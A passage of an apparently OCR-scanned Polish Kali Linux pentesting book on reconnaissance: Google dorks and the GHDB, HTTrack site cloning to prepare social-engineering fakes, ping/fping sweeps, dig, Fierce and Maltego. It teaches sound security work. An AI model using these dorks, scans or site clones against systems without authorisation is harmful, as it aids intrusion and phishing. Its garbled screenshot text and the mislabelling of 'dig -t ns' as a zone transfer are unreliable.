Wyszukiwanie interfejsów zarządzania kamerami internetowymi Linksys (uwaga: to, co znajdziesz, może Ci się nie spodobać...): inurl:m ain.cgi Linksys.
■
Wyszukiwanie raportów ze skanera Nessus, zawierających informacje o podatnościach i lukach w zabezpieczeniach różnych systemów: inurl:NESSUSXXXXXXXX.
Jeżeli jesteś zainteresowany wykorzystaniem techniki Google hacking, powinieneś zapoznać się ze znakomitą książką G oogle H acking f o r Penetration Testers Johnny’ego Longa, a oprócz tego zajrzeć na jego stronę internetową http://johnny.ihackstuff.com /.
GHDB, czyli Google Hacking Database Baza danych G H D B, czyli Google Hacking Database, utworzona przez Johnnyego Longa z or ganizacji H ackers f o r Charity (http://www.hackersforcharity.org/), to jedno z najlepszych źródeł informacji na temat zaawansowanych zapytań dla wyszukiwarki Google. Znajdziesz tam tysią ce przeróżnych, odpowiednio pogrupowanych zapytań, pozwalających na wyszukiwanie nazw użytkowników, haseł dostępu, systemów podatnych na atak czy luk w zabezpieczeniach, gro madzonych i udostępnianych przez społeczność fanatyków Google hacking. Aby skorzystać z bazy GH D B, powinieneś uruchomić przeglądarkę i przejść na stronę http:// w w w .exploit-db.com /google-dorks/. Na głównej stronie witryny znajdziesz listę najnowszych zapytań przesłanych przez użytkowników, a potem możesz śmiało zacząć przeglądać interesują ce Cię kategorie i samodzielnie sprawdzać wyniki, jakie przynoszą poszczególne zapytania.
GQOm
F
HACKING- ATA ASG Welcome tothe google hacking database W e c a ll th e m 'g o o g le d o r tf : In e p t o r fo o lis h p e o p le as re v e a le d b y G o o g le . W h a te v e r y o u c a ll th e se fo o ls , y o u ’v e fo u n d th e c e n te r o f th e G o o g le H ackin g U nive rse !
Search Google Dorks C a te g o ry : d
Free te x t sea rch: |
Latest Google Hacking Entries C a te g o ry f lit» CMUMf v n -r/o 701)44-77
r.i«t|ipe"» m»» * the Oef+Jt
t.
701) 04 7?
fiU-typr ptip «tr (font* irtitlr pftpr/o *p.
701104 77
««ittr Ijc+ayt VA ce
701)44.77
.ntöt:*roo*.*0.0 not /root /&/Vb«rfiV
701)44-27
fiWype tqf
701)04 77
SirvU (O CanngM I9 K 7013 Rhno Software. Ii
FU«i «ontaMng fcocy Mtfo
paw M u»e>
63
fl
K a li L in u x . T e s ty p e n e tra c y jn e
Opisy poszczególnych kategorii zapytań znajdziesz w dolnej części strony głównej. Na przy kładzie przedstawionym poniżej najpierw wybraliśmy kategorię Vulnerable Files, a następnie zapytanie ionC ube L o a d e r W izard.
HACKING-:}ATA; ASE Welcome to the google hacking database W e c a ll th e m go o g le d o rk s ': In e p t o r fo o lis h p e o p le as r e v e a le d b y G o o g le . W h a te v e r y o u c a ll th e se fo o ls , y o u V e fo u n d th e c e n te r o f t h e G o o g le H ackin g U nive rse )
Search Google Dorks C a te g o ry : |
^ ^ ■ 1
Free t e x t se a rch : I
Google search: Hits: 5280 Submited: 2011-05-28 Teraz możemy kliknąć wybrane zapytanie i w oknie przeglądarki pojawi się strona Google z wyni kami wyszukiwania. ( j O i-g l c
inurUoader-wizard ext:php
W eb
Im ag es
M aps
Shopping
M ore -
S e arch tools
A b o u t 3,51 0 resu lts (0.23 s eco nd s)
ionCube Loader Wizard
gsship.org/GSSC/ICONCubelnstall/.. ./loader-wizard phpTtimeout... * Loader is at: /h o m e 4 /g s s h ip o r/p u b lic _ M m l/io n c u b e /io n cu b e Jo a d e rJin _5 .2 .so . Loader O S code: lin. Loader a rchitecture: x86. Loader w ord size : 32. Loader P U P ...
ionCube Loader Wizard
tecnotogias101 info/algesweb/ioncube/loader-wizard.php * P le ase c o n ta c t th e s c rip t pro vid er i f y o u d o e xp erien ce any problem s running e ncoded file s . F o r s e c u rity reasons w e a d v is e th a t yo u rem ove th is W iza rd s c r ip t...
ionCube Loader Wizard - Next Best Thing To M o m
www. nextbestthmgtomom.net/loader-wizard .php *
ionC ube Loader W izard G oO addy In s ta lla tio n In s truc tio ns. It appoars th a t yo u are ho ste d w ith G oO addy (ww w go da dd y.co m ). If th a t is not th e c a s e th en p le ase ...
ionCube Loader Wizard
www.municanete.gob.pe/loader-wizard.php » ionC ube Loader W izard. T o u s e file s th a t ha v e been p ro tected by th e ionC ube PH P E ncoder, a c om ponent calle d th e ionC ube Loader m us t be installed.
ionCube Loader Wizard
planetgore.com/ioncube/loader-wizard.php?page=default * ionC ube Loader W izard. A n updated vers io n o f th is W iza rd s crip t is ava ilab le here. The ionC ube Loader v ers io n 4 .0.4 is alrea dy insta lled and e n cod ed file s ...
Jak widać, w naszym przykładzie wyszukiwarka Google znalazła tylko kilka wyników pasujących do naszego zapytania. Wynika stąd, że pakiety ion C u be L o a d e r rzadko bywają źle skonfiguro wane. ion C u be L o a d e r to kawałek naprawdę dobrego oprogramowania, które zabezpiecza aplikacje napisane w PHP przed przeglądaniem i modyfikowaniem ich z komputerów, które
64
R o z d z ia ł 2. • R e k o n e s a n s
|
nie posiadają do tego odpowiedniej autoryzacji. Nie da się jednak ukryć, że w przypadku przed stawionym na rysunku poniżej administrator tego systemu pozostawił otwarty, niczym nieza bezpieczony dostęp do kreatora konfiguracji. Professional PHP Solutions
ionCube ionCube Loader Wizard T o u s e f ile s t h a t h a v e b e e n p r o te c te d b y th e io n C u b e PHP E n c o d e r, a c o m p o n e n t c a lle d th e io n C u b e L o a d e r m u s t b e in s ta lle d . T h is W iz a rd w i ll g iv e y o u in fo r m a tio n o n h o w to in s ta ll th e io n C u b e L o a d e r. P le a s e s e le c t th e ty p e o f w e b s e r v e r th a t y o u h a v e a n d th e n c lic k N e x t. S h a re d (fo r exam ple, server with FTP access only and no access to php.WM) D e d ic a te d o r VP S (server with fun roo t ssh access) L o c a l in s ta ll
Kiedy wejdziesz na taką stronę i klikniesz pierwsze łącze, zostaniesz przeniesiony na stronę pozwalającą skonfigurować ten pakiet oprogramowania. Można śmiało powiedzieć, że z perspektywy pentestera baza danych G H D B zamienia wyszuki warkę Google w swego rodzaju skaner aplikacji internetowych. Jak widać, w zależności od intencji Google hacking może się przyczynić do zwiększenia bezpieczeństwa systemów w internecie, ale równie dobrze może stać się w rękach mrocznego hackera znakomitym narzędziem, po zwalającym na przeprowadzanie dobrze ukierunkowanych ataków na serwery sieciowe.
Badanie zasobów sieci komputerowych Wielu użytkowników nie zdaje sobie sprawy z prawdziwej roli, jaką odgrywa skanowanie zasobów sieci komputerowej środowiska celu przed rozpoczęciem właściwego ataku. Jednak pentesterzy, którzy już nawet tylko amatorsko zajmują się przeprowadzaniem testów penetracyjnych, doskonale wiedzą, dlaczego wybranie odpowiedniego celu jest jednym z kluczowych elementów niezbędnych do przeprowadzenia testu. W końcu przecież każdy pentester dysponuje całym arsenałem różnorodnych narzędzi, którym musi wskazać jakiś cel ataku. Wielu amatorów do rozpoznania sieci wykorzystuje narzędzia takie jak Nmap, PingSweeper czy inne, które jednak ro bią w sieci dużo „hałasu” i niepotrzebnie zwracają na siebie uwagę, co w efekcie powoduje, że wyniki ich działania mogą być dosyć mierne. Rekonesans sieciowy ma na celu wybranie odpowiedniego celu ataku. Każdy profesjonalista zajmujący się zagadnieniami bezpieczeństwa sieciowego powie Ci z pewnością, że dobry rekone sans polega na tym, aby wybrać odpowiedni cel ataku, spędzając większość czasu raczej na pasyw nej obserwacji sieci niż na „hałaśliwym” przeprowadzaniu aktywnego skanowania — a jak sam pamiętasz, im ciszej się zachowujesz, tym więcej usłyszysz... Celem pierwszego etapu każdego testu penetracyjnego jest staranna selekcja dostępnych celów i wybranie tego, który rokuje największą szansę powodzenia ataku.
65
fl
K a li L in u x . T e s ty p e n e tra c y jn e
Przeprowadzając testy penetracyjne dla klientów zewnętrznych, powinieneś pamiętać, że zawsze po stronie zleceniodawcy znajdzie się ktoś, kto dla swojej własnej satysfakcji, zademonstrowania swoich umiejęt ności szefowi lub kolegom albo po prostu udowodnienia, że zasoby sieciowe firmy są znakomicie zabez pieczone, obierze sobie za punkt honoru utrudnianie życia pentesterowi i blokowanie jego wysiłków zmierza jących do pomyślnego wykonania testu penetracyjnego. W takich sytuacjach zdecydowanie odradzamy wchodzenie w jakiekolwiek konflikty z pracownikami zleceniodawcy. Pamiętaj, że dobry pentester po winien skoncentrować się na wykonaniu swojego zadania i wskazaniu istniejących luk w zabezpiecze niach systemu przy zachowaniu tylko minimalnej, naprawdę niezbędnej interakcji z pracownikami działów bezpieczeństwa właściciela systemu zlecającego przeprowadzenie testu penetracyjnego.
Poniżej przedstawiamy zestawienie starannie wybranych, naszym zdaniem najlepszych narzędzi przeznaczonych do przeprowadzania rekonesansu aplikacji internetowych, które zostały za implementowane w systemie Kali Linux. Oczywiście oprócz nich istnieje wiele innych narzę dzi do testowania innych typów celów, aczkolwiek w tym rozdziale chcemy się skoncentrować tylko na aplikacjach internetowych.
HTTrack — klonowanie witryny internetowej H TTrack to wbudowane narzędzie systemu Kali Linux, które pozwala na utworzenie pełnej kopii witryny internetowej na dysku komputera lokalnego. Dzięki utworzeniu takiej kopii pentester ma możliwość zapoznania się z całą zawartością danej witryny, wszystkimi je j stronami i plikami w swoim własnym, całkowicie kontrolowanym środowisku, bez konieczności każdorazo wego łączenia się z tą witryną. Warto tutaj wspomnieć, że pakietu H TTrack będziemy w ko lejnych rozdziałach używać do przygotowania ataków socjologicznych. M ając dokładną kopię badanej witryny, pentester może przygotować je j odpowiednio spreparowaną, fałszywą wer sję, której można później użyć wraz z innymi narzędziami do przeprowadzenia ataku. Aby skorzystać z pakietu HTTrack, otwórz okno terminalu, a następnie wpisz polecenie apt-get in s ta ll httrack, tak jak to zostało zilustrowane na rysunku poniżej.
W niektórych wersjach systemu Kali Linux pakiet
HTTracknie jest preinstalowany.
root@kali:~# apt-get install httrack Reading package lists... Done Building dependency tree Reading state information... Done httrack is already the newest version. The following packages were automatically installed and are no lone er required: greenbone-security-assistant libksbaS libmicrohttpdlO libopenvas6 openvas-administrator openvas-cli openvas-manager openvas-scanner xsltproc Use 'apt-get a u to re mo ve' to remove them. O upgraded. 0 newly installed, 0 to remove and 2 not upgraded._____
66
R o z d z ia ł 2. • R e k o n e s a n s
fl
Teraz powiniene ś utworzyć katalog, w którym będą przechowywane pliki skopiowanej witryny. Na kolejnym rysunku przedstawiono proces tworzenia katalogu o nazwie m y w ebsites za po mocą polecenia mkdir.
root@kali:~# mkdir mywebsites Aby uruchomić pakiet HTTrack, wpisz w oknie terminalu polecenie httrack, a następnie podaj nazwę projektu, jak przedstawiono na rysunku poniżej. root@kali :~# mkdir mywebsites root@kali:~# cd / websites root@kali :/# httrack
Welcome to HTTrack Website Copier (Offline Browser) 3.46+libhtsje .so. 2 Copyright (C) Xavier Roche and other contributors To see the option list, enter a blank line or try httrack --help Enter project name :|
Kolejnym krokiem je st podanie ścieżki katalogu, w którym zostaną zapisane pliki kopiowa nej witryny. Na następnym rysunku pokazujemy, w jaki sposób użyć do tego celu katalogu /root/m yw ebsites, który utworzyliśmy chwilę wcześniej. root@kali:/# httrack Welcome to HTTrack Website Copier (Offline Browser) 3. .so. 2 Copyright (C) Xavier Roche and other contributors To see the option list, enter a blank line or try httr Enter project name :drchaos.com Base path (return=/root/websites/)
:/root/mywebsites|
Teraz wpisz adres U RL witryny, której kopię chcesz utworzyć. W naszym przykładzie posłużymy się witryną w w w .d rch a os.com . Oczywiście może to być dowolna inna witryna internetowa. W większości przypadków będą to witryny często odwiedzane przez pracowników firmy będącej celem ataku, takie jak popularne media społecznościowe czy strony internetowe samej firmy. Kolejne dwie opcje pozwalają na określenie, co chcesz zrobić z podaną witryną internetową. Najprostszym rozwiązaniem będzie wybranie opcji numer 2, M irror W eb Site(s) w ith W izard, która pozwala na utworzenie kopii witryny za pomocą przyjaznego kreatora, jak przedstawiono na rysunku zamieszczonym poniżej.
67
fl
K a li L in u x . T e s ty p e n e tra c y jn e
Base path (return=/root/websites/)
:/root/mywebsites
Enter URLs (separated by commas or blank spaces) Action: (enter) 1 2 3 4 5 0
:www.drchaos.com
Mirror W e t S f i ^ B s l Q I J l Mirror Web Site(s) with Wizard Just Get Files Indicated Mirror ALL links in URLs (Multiple Mirror) Test Links In URLs (Bookmark Test) Quit
Następnie powinieneś określić, czy będziesz korzystał z serwera proxy. Możesz również zde finiować typy plików, które będą kopiowane (w naszym przykładzie został wybrany znak *, co oznacza kopiowanie wszystkich plików). Oprócz tego możesz zdefiniować dowolne opcje wiersza polecenia oraz ustawić niezbędne flagi. W naszym przykładzie nie ustawiamy jednak żadnych dodatkowych opcji. Zanim polecenie httrack rozpocznie działanie, na ekranie wyświetli się pełny wiersz polece nia ze wszystkimi opcjami ustawionymi przez C iebie za pomocą kreatora. Jeżeli zapiszesz so bie gdzieś to polecenie, to następnym razem będziesz mógł uruchomić polecenie httrack bez konieczności korzystania z kreatora. Kolejne dwa rysunki zamieszczone poniżej przedstawiają proces konfiguracji polecenia httrack i kopiowanie zawartości witryny w w w .d rch aos.com . (enter) 1 2 3 4 5 o
Mirror Web Site(s) Mirror Web Site(s) with Wizard Just Get Fites Indicated Mirror ALL links in URLs (Multiple Mirror) Test Links In URLs (Bookmark Test) Quit
: 2 'Proxy (return=none) : 'You can define wildcards, like: -*.gif +www.*.com/*.zip -*j Wildcards (return=none) :* :You can define additional options, such as recurse level (>) , separed by blank space^yr, To see the option list, typg_h§lp_ Additional options (return=none) : — > Wizard command line: httrack www.drchaos.com -W -0 "/r bsites/drchaos.com" -%v * Ready to launch the mirror? (Y/n) :|
68
R o z d z ia ł 2. • R e k o n e s a n s
fl
* www.drchaos . c o m / t a g / c o m p l i a n c e / w w w .fa ce b o o k . c o m / a a m ir l 9 0 / 8 6 0 : www.d r c h a o s . c o m / t a g / c o n t i n u o u s - m o n i t o r i n g / (3 4 2 1 * www.drchaos . com/wp-c o n t e n t / u p l o a d s / 2 0 1 3 / 0 6 / i d e n t i t y_an * www.drchaos . c o m / t a g / c o n t i n u o u s - m o n i t o r i n g / < a h r e f = (33 * www.drchaos . co m /b e n e fi t s - o f - u s i n g - i d e n t i t y - a n d - a c c e s s ł www.drchaos . c o m / t a g / c o n t i n u o u s - m o n i t o r i n g / w ww .facebook * www.drchaos . c o m / t a g / f e d t e c h / w w w .f a c e b o o k .c o m / a a m irla k h * www.drchaos . c o m / t a g / i s e / w w w .fa ce b o o k . c o m / a a m i r l a k h a n i 0 * www.drchaos . c o m / t a g / i n f o s e c / w w w .f a c e b o o k .c o m / a a m irla k h * www.drchaos . c o m / a u t h o r / t im -a d a m s / w w w .fa ce b o o k . com/aami * l . g r a v a t a r . c o m / a v a ta r/ fb b f2 c f5 5 e d l6 f7 7 0 7 a 9 e 5 d 8 d b lc 6 5 7 b tp%3A%2F%2Fl. g r a v a t a r . c o m % 2 F a v a t a r % 2 F a d 5 1 6 5 0 3 a llc d 5 c a 4 3 5 * www.drchaos . c o m / w p - c o n t e n t / u p l o a d s / 2 O 1 3 / 0 6 / i r _ p l a n - 190 * www.drchaos . c o m / c a t e g o r y / t r a v e l / w w w .fa ce b o o k . co m /aam ir * www.drchaos . c o m / w p - c o n t e n t / u p l o a d s / 2 0 1 3 / 0 7 / T r a v e l -9 0 x 6 * www.drchaos . c o m / w p - c o n t e n t / u p lo a d s / 2 0 1 3 / 0 7 / d s c _ 0 0 6 7 - 3 0 * www.drchaos . c o m / t a g / t r a v e l / w w w .fa ce b o o k . c o m / a a m irla k h a * www.drchaos . c o m / t a g / d a t a - b r e a c h / w w w .fa ce b o o k .co m /a a m ir Po zakończeniu klonowania witryny przejdź do katalogu, w którym została zapisana. Wewnątrz znajdziesz wszystkie pliki i strony skopiowanej witryny, jak przedstawiono na rysunku poniżej: root(ąkali :-# c d m y w e b s i t e s / root<ąkali:' / m y w e b s i t e s # I s cl ou dc en tr ic s.com root<ąkal i :- / m y w e b s i t e s #
Teraz jeste ś już gotowy do rozpoczęcia analizy struktury i zawartości witryny, a zebrane na tym etapie dane mogą pozwolić Ci później na przygotowanie odpowiednio skonfigurowanego narzędzia do penetracji systemu czy znaleźć i wykorzystać lukę w mechanizmie uwierzytel niania użytkowników.
Rekonesans z wykorzystaniem protokołu ICMP Wykorzystanie poleceń ping oraz tracerou te to kolejny dobry sposób na zgromadzenie pod stawowych informacji na temat celu ataku. Kiedy pakiety danych są przesyłane przez sieć komputerową, to zazwyczaj nie podróżują bezpośrednio od źródła do m iejsca swojego prze znaczenia. W większości przypadków pakiety danych przechodzą po drodze przez co najmniej kilka urządzeń sieciowych, takich jak routery, zapory sieciowe i inne systemy komputerowe. Polecenie traceroute pozwala na zidentyfikowanie poszczególnych systemów, przez które podró żuje pakiet, i podaje czas, w jakim pakiet je st przesyłany między kolejnymi systemami. Na rzędzie to jest wbudowane w praktycznie każdy współczesny system operacyjny. W przypadku najbardziej chronionych systemów polecenia takie jak ping czy traceroute są często blokowane, a nadmierne próby ich wykorzystania z pewnością spowodują wygenerowanie alarmów w syste mach wykrywających anomalie ruchu sieciowego i zabezpieczających dane środowisko. Zapo ry sieciowe i inne systemy zabezpieczające sieci komputerowe są bardzo często konfigurowane tak, aby nie przepuszczały tego typu ruchu sieciowego. Jeżeli system odpowiada na polecenie
69
fl
K a li L in u x . T e s ty p e n e tra c y jn e
traceroute, to jego nadużywanie może spowodować wygenerowanie alarmów w systemach monitorujących. Jeżeli Twoim zamiarem było pozostanie w ukryciu, to w takiej sytuacji jesteś na przegranej pozycji — przedwczesne wzbudzenie uwagi pracowników IT zajmujących się bezpieczeństwem systemu, który zamierzałeś spenetrować, może dać im szansę na wdrożenie dodatkowych mechanizmów zabezpieczeń i znaczące utrudnienie przeprowadzenia testu penetracyjnego. Skanowanie z wykorzystaniem protokołu IC M P polega na wysyłaniu komunikatów ICM P E ch o Request i oczekiwaniu na odpowiedź systemu docelowego. Jeżeli taka odpowiedź nadejdzie, to wiesz, że „po drugiej stronie” znajduje się host, który może być potencjalnym celem ataku. Problem z takim skanowaniem polega na tym, że komunikaty IC M P są zazwyczaj blokowane przez większość zapór sieciowych. Oznacza to, że w takiej sytuacji jakakolwiek próba skano wania za pomocą IC M P z zewnątrz środowiska chronionego przez zaporę sieciową będzie skazana na niepowodzenie. Użycie polecenia ping to najprostszy sposób przeprowadzenia skanowania środowiska celu. Aby to zrobić, wystarczy w oknie terminalu wpisać polecenie ping i nazwę hosta docelowego lub je go adres IP Po uruchomieniu takiego polecenia możesz się przekonać, czy dany host sieciowy odpowiada na komunikaty ICM P E ch o R equ est. Na poniższym rysunku przedstawiono odpo wiedź hosta w w w .g oog le.com na polecenie ping: Last login: Tue Sep 10 10:28:12 on console rtp-jomuniz-8815:*' jomunizS ping www.googe.com PING www.googe.com (72.44.93.94): 56 data bytes 64 bytes from 72.44.93.94: icmp_seq=0 ttl=45 time=123.566 64 bytes from 72.44.93.94: icmp_seq=l ttl=45 time=110.351 64 bytes from 72.44.93.94: icmp_seq=2 ttl=45 time=106.218 64 bytes from 72.44.93.94: icmp_seq=3 ttl=45 time=116.490 64 bytes from 72.44.93.94: icmp_seq=4 ttl=45 time=116.566
ms ms ms ms ms
5 packets transmitted, 5 packets received, 0.0% packet loss round-trip min/avg/max/stddev = 106.218/114.638/123.566/5.935 ms
Jeżeli otrzymasz odpowiedź na polecenie ping, to będziesz wiedział, że taki host sieciowy jest aktywny. Jeżeli jednak wynikiem działania tego polecenia będzie komunikat o upływie czasu żądania (ang. req u est tim ed out), to będzie to oznaczać, że komunikaty IC M P są blokowane przez zaporę sieciową albo dany host jest po prostu nieaktywny. Problem z poleceniem ping polega na tym, że za jego pomocą możesz sprawdzać tylko jed en system naraz. Istnieje jednak narzędzie o nazwie fping, które pozwala na wysyłanie komuni katów IC M P do wielu hostów sieciowych za pomocą jednego polecenia. Co w ięcej, polecenie to potrafi wysyłać takie komunikaty do wszystkich hostów sieciowych, których nazwy lub ad resy IP zostały wcześniej przygotowane w pliku tekstowym. Aby skorzystać z polecenia fping, powinieneś użyć następującej składni wywołania: Fping -asq adres_sieci/maska fping -asq 10.0.1.0/24
70
R o z d z ia ł 2. • R e k o n e s a n s
|
W powyższym przykładzie opcja a powoduje, że polecenie zwraca wyniki działania tylko dla aktywnych hostów, opcja s powoduje wyświetlenie zbiorczej statystyki po zakończeniu dzia łania, a opcja q przełącza polecenie fping w tryb „cichy”, gdzie użytkownik nie widzi na ekranie statusu poszczególnych skanów, lecz tylko podsumowanie całej operacji po je j zakończeniu.
Podobne rezultaty można uzyskać za pomocą skanera Nmap.
Rekonesans z wykorzystaniem serwerów DNS Większość wartościowych celów posiada nazwy D N S przypisane do aplikacji internetowych. Wykorzystanie nazw D N S powoduje, że użytkownicy mają łatwiejszy dostęp do określonej usługi, a przy tym takie rozwiązanie dodaje systemowi nieco profesjonalnego szlifu. Jeżeli na przykład chcesz skorzystać z wyszukiwarki Google, możesz co prawda w pasku adresu przeglądar ki wpisać 74.125.227.101, ale przecież znacznie łatwiej jest wpisać w w w .google.com . Z punktu widzenia pentestera informacje o celu pozyskane z serwerów DN S mogą być nie zwykle przydatne. Dzięki odpowiednim zapytaniom pentester może określić, jakie systemy i poddomeny są wykorzystywane w środowisku celu. Starsze typy ataków na serwery DNS polegały na pozyskiwaniu plików strefowych (ang. zone files) z autorytatywnych serwerów DNS, co pozwalało pentesterowi na zapoznanie się z ich zawartością i identyfikację celów na pod stawie rekordów zasobowych (ang. DNS resou rce records) przechowywanych w takich plikach. Niestety, większość współcześnie używanych serwerów D N S nie zezwala na przeprowadzanie nieuwierzytelnionych transferów stref (ang. zone transfers). Na szczęście nie wszystko stracone! D N S to specyficzna usługa, której przeznaczeniem je st odpowiadanie na zapytania, stąd po tencjalny napastnik może używać plików słownikowych do generowania zapytań DNS dla do meny celu. Praktyczne wykorzystanie takiej możliwości ataku wymaga jednak dużej ilości czasu, aczkolwiek większość działań z tym związanych daje się zautomatyzować. D ig (ang. dom ain inform ation groper) to jedno z najpopularniejszych i najpowszechniej używa nych narzędzi do pozyskiwania informacji z serwerów DNS. Jego działanie polega na wysyłaniu zapytań do serwerów D N S i prezentowaniu otrzymanych odpowiedzi. Aby skorzystać z tego narzędzia, otwórz okno terminalu i w wierszu poleceń wpisz d ig oraz nazwę hosta reprezen tującego domenę celu. Wywołane w taki sposób polecenie dig prześle zapytanie do domyśl nych serwerów D N S ustawionych w systemie operacyjnym Twojego komputera. Jeżeli będzie to potrzebne, możesz również skonfigurować polecenie dig tak, aby przesyłało zapytania do serwera D N S o podanym adresie IR Aby to zrobić, powinieneś w wierszu wywołania polecenia dodać opcję @ , gdzie to adres IP wybranego serwera DNS. W przykładzie zamieszczo nym poniżej prezentujemy zastosowanie polecenia dig do pozyskiwania informacji na temat domeny w w w .cloudcentrics.com :
« » DiG 9.8.3-PI « » www.cloudcentrics.com ; global options: +cmd ; Got answer: : - » H E A D E R « - opcode: QUERY, status: NOERROR, id: 57827 ; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: ;; QUESTION SECTION: ;ww w . cl ou dc en tr ic s. co m. ;; ANSWER SECTION: w w w. cl ou dcentrics.com. cloudcentrics.com.
Opcja - t powoduje, że polecenie dig wystawia żądanie transferu strefy do autorytatywnych serwerów D N S. W kolejnym przykładzie użyte zostało następujące polecenie: dig - t ns cloudcentrics.com.
Na podstawie wyników działania tego polecenia możemy dowiedzieć się, że domena www. clo u d cen trics.com posiada dwa autorytatywne serwery DNS, o nazwach ns3681.hostgator.com oraz ns3682.hostgator.com . Gratulacje! W łaśnie znalazłeś dwa autorytatywne serwery D N S wykorzystywane przez sys tem będący celem Twojego ataku.
72
R o z d z ia ł 2. • R e k o n e s a n s
|
Identyfikacja celów za pomocą serwerów DNS Teraz, kiedy ju ż poznałeś nazwy autorytatywnych serwerów D N S środowiska celu, możesz zacząć sprawdzać, jakie hosty pochodzące z tego środowiska posiadają na tych serwerach swoje wpisy. Na przykład w domenie drch a os.co m może się znajdować kilka różnych hostów, takich jak cloud.drchaos.com , m ail.drchaos.com czy sharepoint.drchaos.com . Każdy z tych hostów mo że być aplikacją internetową i cennym celem ataku. Zanim jednak rozpoczniesz na oślep wybierać nazwy hostów, powinieneś sprawdzić, co na ten temat wie serwer D N S. Najlepszym sposobem realizacji tego zadania je st po prostu wysłanie odpowiedniego zapytania do serwera DNS i analiza otrzymanej odpowiedzi. Jeżeli serwer DNS jest skonfigurowany tak, że pozwala na transfery stref, to w odpowiedzi otrzymamy kompletny zestaw wpisów przechowywanych na serwerze. W systemie Kali Linux znajdziesz narzędzie o nazwie F ierce, za pomocą którego możesz spraw dzić, czy dany serwer D N S zezwala na przeprowadzanie transferów stref. Jeżeli taka operacja jest dozwolona, wystawi żądanie transferu strefy i przedstawi wyniki działania użytkownikowi. Jeżeli transfery stref na danym serwerze nie są dozwolone, Fierce może zostać skonfigurowane tak, aby za pomocą ataku słownikowego odgadnąć nazwy hostów, dla których dany serwer DNS świadczy usługi. Jak widać, Fierce je st narzędziem zaprojektowanym do przeprowadzania re konesansu, jeszcze zanim użyjesz innych narzędzi wymagających już podawania adresu IP hosta, takich jak Nmap. Aby wywołać pakiet Fierce, przejdź w systemie Kali Linux do menu głównego i wybierz pole cenie Program y/K ali Linux/Inform ation G athering/D N S A nalysis/F ierce. Pakiet zostanie uru chomiony w oknie terminalu, jak przedstawiono na rysunku poniżej: -threads Specify how many threads to use while scanning (d is single threaded). -traverse Specify a number of IPs above and below wha have found to look for nearby IPs. Default is 5 ab below. Traverse will not move into other C blocks, -version Output t h e version number. -wide Scan the entire class C after finding any m hostnames in that class C. This generates a lot mo but can uncover a lot more information. -wordlist Use a seperate wordlist (one word per line) peri fierce.pl -dns examplecompany.com -wordlist dictionary r o o t f l k a l i :- # B_________________________________________________________________
Aby użyć pakietu Fierce, powinieneś w oknie terminalu wpisać polecenie podobne do nastę pującego: fie rc e .p l -dns thesecurityblogger.com
73
fl
K a li L in u x . T e s ty p e n e tra c y jn e
r o o t @ k a l i:-# fierce -dns thesecurityblogger.com DNS Servers for thesecurityblogger.com: ns3.dreamhost.com n s l .dreamhost.com ns2.dreamhost.com Trying zone transfer first... Testing n s 3 .d reamhost.com Request timed out or transfer not allowed. Testing nsl.dreamhost.com Request timed out or transfer not allowed. Testing ns2.dreamhost.com Request timed out or transfer not allowed. Unsuccessful in zone t r a n s fi y^ if tT Mi Okay, trying the good old Tashioriea ¡w Can't open hosts.txt or thi-oerotfV^lw Ex it in g... rootflk al i :- #
Jak widać, po wykonaniu tego polecenia i analizie jego wyników działania znamy już nazwy co najmniej kilku hostów zlokalizowanych w domenie thsecurityblogger.com, czyli nasze zadanie zostało wykonane. Często zdarza się jednak, że Fierce nie będzie w stanie przeprowadzić transferu stref. W takiej sytuacji Fierce spróbuje wymusić transfery stref, przeprowadzając atak słownikowy z wykorzystaniem predefiniowanej listy słów lub całego słownika (o ile zde finiowałeś taką opcję). W naszym przypadku tego nie zrobiliśmy, ponieważ naszym zadaniem było poznanie hostów zlokalizowanych w tej domenie, ale jeszcze na tym etapie bez prze prowadzania ataku wymuszającego transfer stref. Jeżeli Twoje zamierzenia są nieco szerzej zakrojone i nie ograniczają się tylko do aplikacji internetowych, to możesz spróbować prze prowadzić taki atak samodzielnie. Teraz możemy się już skoncentrować na wybranym hoście i do jego dalszego rozpoznania wyko rzystać narzędzia takie jak Nmap. Niezmiernie ważnym aspektem pracy z pakietem Fierce jest to, że pozwala on na rozpoznanie i wybranie celu ataku, a jednocześnie generuje tylko minimalną ilość ruchu sieciowego, co znacząco zmniejsza ryzyko wykrycia takiego działania. Programu Nmap będziemy używać w dalszej części tego rozdziału.
Maltego — graficzna prezentacja zbieranych informacji Maltego to narzędzie firmy Paterva, które zostało zaimplementowane w systemie Kali Linux. Jest to wielozadaniowe narzędzie wspomagające wyszukiwanie i agregowanie informacji o celu, znaj dujących się w publicznie dostępnych źródłach w internecie. Maltego posiada kilka wbudowa nych, własnych narzędzi do pozyskiwania danych z serwerów D N S i pozwala na bardzo do kładne profilowanie celu i zbieranie informacji na jego temat. Dla ułatwienia analizy zebrane informacje mogą być prezentowane w formie wykresów graficznych. Aby uruchomić pakiet Maltego, z menu głównego wybierz polecenie Programy, przejdź do grupy K ali Linux, a następnie wybierz polecenie Inform ation G athering/D N S A nalysis/M altego. Pierwszą czynnością, którą musisz wykonać po uruchomieniu pakietu M altego, je st jego za rejestrowanie. Nie ma możliwości używania tej aplikacji bez je j uprzedniego zarejestrowania.
74
R o z d z ia ł 2. • R e k o n e s a n s
|
Po zakończeniu procesu rejestracji będziesz mógł dokończyć instalowanie pakietu i zacząć z niego korzystać.
Maltego wykorzystuje wiele różnych metod gromadzenia danych. Najłatwiejszym sposobem używania tej aplikacji jest skorzystanie z kreatora, który pozwoli Ci na zdefiniowanie rodza jów informacji, których gromadzeniem jesteś zainteresowany. Doświadczeni użytkownicy mogą rozpocząć pracę od pustego wykresu lub nawet całkowicie pominąć kreatora. Efektywność pakietu Maltego wynika z tego, że pozwala Ci na wizualną obserwację zależności pomiędzy po szczególnymi domenami, organizacjami i użytkownikami. Dzięki temu możesz szybko znaleźć potrzebne informacje o wybranej organizacji lub na przykład skoncentrować się na zależno ściach między daną organizacją a innymi podmiotami.
75
K a li L in u x . T e s ty p e n e tra c y jn e
W zależności od wybranych opcji Maltego może wykonywać między innymi następujące zadania: ■
Znajdowanie powiązań między adresami poczty elektronicznej a konkretnymi osobami.
■
Znajdowanie powiązań między witrynami internetowymi a konkretnymi osobami.
■
Weryfikowanie adresów poczty elektronicznej.
■
Wyszukiwanie i zbieranie informacji udostępnianych w serwisie Twitter, włącznie z takimi danymi, jak informacje geolokacyjne zamieszczanych tam zdjęć.
